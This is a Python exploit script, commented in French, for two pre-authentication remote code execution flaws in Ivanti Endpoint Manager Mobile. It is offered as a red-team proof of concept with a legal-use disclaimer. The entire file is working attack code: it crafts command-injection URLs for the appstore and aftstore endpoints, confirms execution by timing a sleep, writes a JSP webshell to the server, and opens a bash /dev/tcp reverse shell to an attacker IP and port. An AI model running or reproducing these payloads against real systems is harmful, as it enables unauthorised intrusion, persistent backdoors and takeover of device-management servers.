#!/usr/bin/env python3 """ CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC Author: Mehdi - Red Team Consultant Description: Exploit pour les vulnérabilités d'injection de code dans Ivanti Endpoint Manager Mobile Technique: Bash Arithmetic Expansion via Apache RewriteMap DISCLAIMER: À utiliser uniquement dans un cadre légal et autorisé (Red Team, pentest avec accord écrit) """ import argparse import requests import urllib3 import sys import time from urllib.parse import quote # Désactiver les warnings SSL urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class IvantiEPMMExploit: def __init__(self, target, timeout=10, verify_ssl=False): self.target = target.rstrip('/') self.timeout = timeout self.verify_ssl = verify_ssl self.session = requests.Session() # Headers standards self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } def banner(self): """Affiche le banner du PoC""" banner = """ ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM RCE PoC ║ ║ Bash Arithmetic Expansion Exploitation ║ ║ Author: Mehdi | Red Team Consultant ║ ╚═══════════════════════════════════════════════════════════════╝ """ print(banner) def check_vulnerable(self): """Vérifie si la cible est potentiellement vulnérable""" print(f"[*] Test de la cible: {self.target}") # Test 1: Vérifier l'accessibilité du endpoint test_paths = [ '/mifs/c/appstore/fob/', '/mifs/c/aftstore/fob/' ] for path in test_paths: try: url = f"{self.target}{path}" response = self.session.get( url, headers=self.headers, timeout=self.timeout, verify=self.verify_ssl, allow_redirects=False ) if response.status_code in [404, 403, 400]: print(f"[+] Endpoint trouvé: {path} (Status: {response.status_code})") return True except Exception as e: print(f"[-] Erreur lors du test {path}: {e}") continue print("[-] Les endpoints vulnérables ne semblent pas accessibles") return False def build_payload(self, command): """ Construit le payload d'exploitation Technique: - Utilise la variable theValue contenant une référence à gPath[`command`] - L'expansion arithmétique bash exécute le command substitution - Padding de 2 espaces pour contourner la validation de longueur """ # Encoder la commande pour l'injection # Format: gPath[`command`] payload_cmd = f"gPath[`{command}`]" # Construction du path avec les paramètres requis # kid=1,st=theValue ,et=1337133713,h=gPath[`command`] params = { 'kid': '1', 'st': 'theValue ', # 2 espaces de padding pour la validation de longueur 'et': '1337133713', 'h': payload_cmd } # Construire la chaîne de paramètres param_string = ','.join([f"{k}={v}" for k, v in params.items()]) return param_string def exploit(self, command, endpoint='appstore'): """ Exécute l'exploitation Args: command: La commande bash à exécuter endpoint: 'appstore' ou 'aftstore' (CVE-2026-1281 vs CVE-2026-1340) """ print(f"\n[*] Tentative d'exploitation via endpoint: {endpoint}") print(f"[*] Commande: {command}") # Choisir le bon endpoint if endpoint == 'appstore': base_path = '/mifs/c/appstore/fob/3/5/sha256:' else: base_path = '/mifs/c/aftstore/fob/3/5/sha256:' # Construire le payload payload_params = self.build_payload(command) # GUID fictif pour compléter le path fake_guid = '13371337-1337-1337-1337-133713371337.ipa' # URL complète exploit_path = f"{base_path}{payload_params}/{fake_guid}" url = f"{self.target}{exploit_path}" print(f"[*] URL d'exploitation: {url}") try: # Envoyer la requête response = self.session.get( url, headers=self.headers, timeout=self.timeout, verify=self.verify_ssl, allow_redirects=False ) print(f"[+] Requête envoyée - Status: {response.status_code}") # Un 404 est attendu mais la commande a été exécutée if response.status_code == 404: print("[+] Exploitation probablement réussie (404 attendu)") print("[!] La commande a été exécutée en backend") return True else: print(f"[!] Status inattendu: {response.status_code}") return False except requests.exceptions.Timeout: print("[!] Timeout - La commande peut avoir été exécutée") return None except Exception as e: print(f"[-] Erreur lors de l'exploitation: {e}") return False def test_rce(self): """Test RCE avec une commande sleep""" print("\n[*] Test d'exécution de code avec 'sleep 5'") start = time.time() result = self.exploit('sleep 5') elapsed = time.time() - start print(f"[*] Temps écoulé: {elapsed:.2f}s") if elapsed >= 5: print("[+] RCE confirmé (délai détecté)") return True else: print("[!] Pas de délai significatif détecté") return False def deploy_webshell(self, webshell_path='/mi/webshell.jsp'): """ Déploie un webshell simple Note: Nécessite les privilèges d'écriture sur le système de fichiers """ print(f"\n[*] Tentative de déploiement d'un webshell: {webshell_path}") # Webshell JSP simple webshell_content = """<%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = br.readLine()) != null) { out.println(line); } } %>""" # Échapper et encoder pour injection escaped_content = webshell_content.replace("'", "'\\''") command = f"echo '{escaped_content}' > {webshell_path}" result = self.exploit(command) if result: print(f"[+] Webshell potentiellement déployé: {self.target}{webshell_path}?cmd=id") return result def reverse_shell(self, lhost, lport): """ Établit un reverse shell bash Args: lhost: IP de l'attaquant lport: Port du listener """ print(f"\n[*] Tentative de reverse shell vers {lhost}:{lport}") print(f"[!] Assurez-vous d'avoir un listener actif: nc -lvnp {lport}") # Reverse shell bash classique command = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" result = self.exploit(command) if result: print("[+] Reverse shell initié") return result def main(): parser = argparse.ArgumentParser( description='CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE PoC', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Exemples d'utilisation: # Test de vulnérabilité python3 exploit.py -t https://target-epmm.example.com -c # Test RCE avec sleep python3 exploit.py -t https://target-epmm.example.com --test-rce # Exécution de commande personnalisée python3 exploit.py -t https://target-epmm.example.com -x "id > /tmp/poc" # Déploiement d'un webshell python3 exploit.py -t https://target-epmm.example.com --webshell # Reverse shell python3 exploit.py -t https://target-epmm.example.com --reverse-shell 10.10.14.5:4444 Endpoints exploitables: - /mifs/c/appstore/fob/ (CVE-2026-1281) - /mifs/c/aftstore/fob/ (CVE-2026-1340) """ ) parser.add_argument('-t', '--target', required=True, help='URL cible (ex: https://epmm.example.com)') parser.add_argument('-c', '--check', action='store_true', help='Vérifier si la cible est vulnérable') parser.add_argument('--test-rce', action='store_true', help='Test RCE avec sleep 5') parser.add_argument('-x', '--execute', help='Commande personnalisée à exécuter') parser.add_argument('-e', '--endpoint', choices=['appstore', 'aftstore'], default='appstore', help='Endpoint à cibler (default: appstore)') parser.add_argument('--webshell', action='store_true', help='Déployer un webshell JSP') parser.add_argument('--reverse-shell', metavar='IP:PORT', help='Établir un reverse shell (ex: 10.10.14.5:4444)') parser.add_argument('--timeout', type=int, default=10, help='Timeout des requêtes (default: 10s)') parser.add_argument('--no-ssl-verify', action='store_true', help='Désactiver la vérification SSL') args = parser.parse_args() # Initialiser l'exploit exploit = IvantiEPMMExploit( target=args.target, timeout=args.timeout, verify_ssl=not args.no_ssl_verify ) exploit.banner() # Vérification de vulnérabilité if args.check: exploit.check_vulnerable() return # Test RCE if args.test_rce: exploit.test_rce() return # Commande personnalisée if args.execute: exploit.exploit(args.execute, endpoint=args.endpoint) return # Déploiement webshell if args.webshell: exploit.deploy_webshell() return # Reverse shell if args.reverse_shell: try: lhost, lport = args.reverse_shell.split(':') exploit.reverse_shell(lhost, int(lport)) except ValueError: print("[-] Format invalide pour --reverse-shell. Utilisez IP:PORT") sys.exit(1) return # Si aucune action spécifiée, afficher l'aide parser.print_help() if __name__ == '__main__': main()